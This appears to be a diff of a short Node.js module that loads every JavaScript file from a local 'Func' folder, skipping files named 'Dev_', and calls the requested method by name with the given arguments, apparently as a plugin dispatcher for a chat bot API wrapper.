+ "use strict";
2
+
3
+ var { join } = require('path');
4
+ var fs = require('fs');
5
+
6
+
7
+ module.exports = function (defaultFuncs, api, ctx) {
8
+ return function(Name, args){
9
+ var Method = {};
10
+ fs.readdirSync(join(__dirname, "../Func")).filter((/** @type {string} */File) => File.endsWith(".js") && !File.includes('Dev_')).map((/** @type {string} */File) => Method[File.split('.').slice(0, -1).join('.')] = require(`../Func/${File}`)(defaultFuncs, api, ctx));
11
+ if (Method[Name] == undefined) {
12
+ return (`Method ${Name} not found`);
13
+ }
14
+ else {
15
+ try {
16
+ return Method[Name](args).then((/** @type {string} */Data) => {
17
+ return Data;
18
+ });
19
+ }
20
+ catch (e) {
21
+ console.log(e);
22
+ }
23
+ }
24
+ };
25
+ };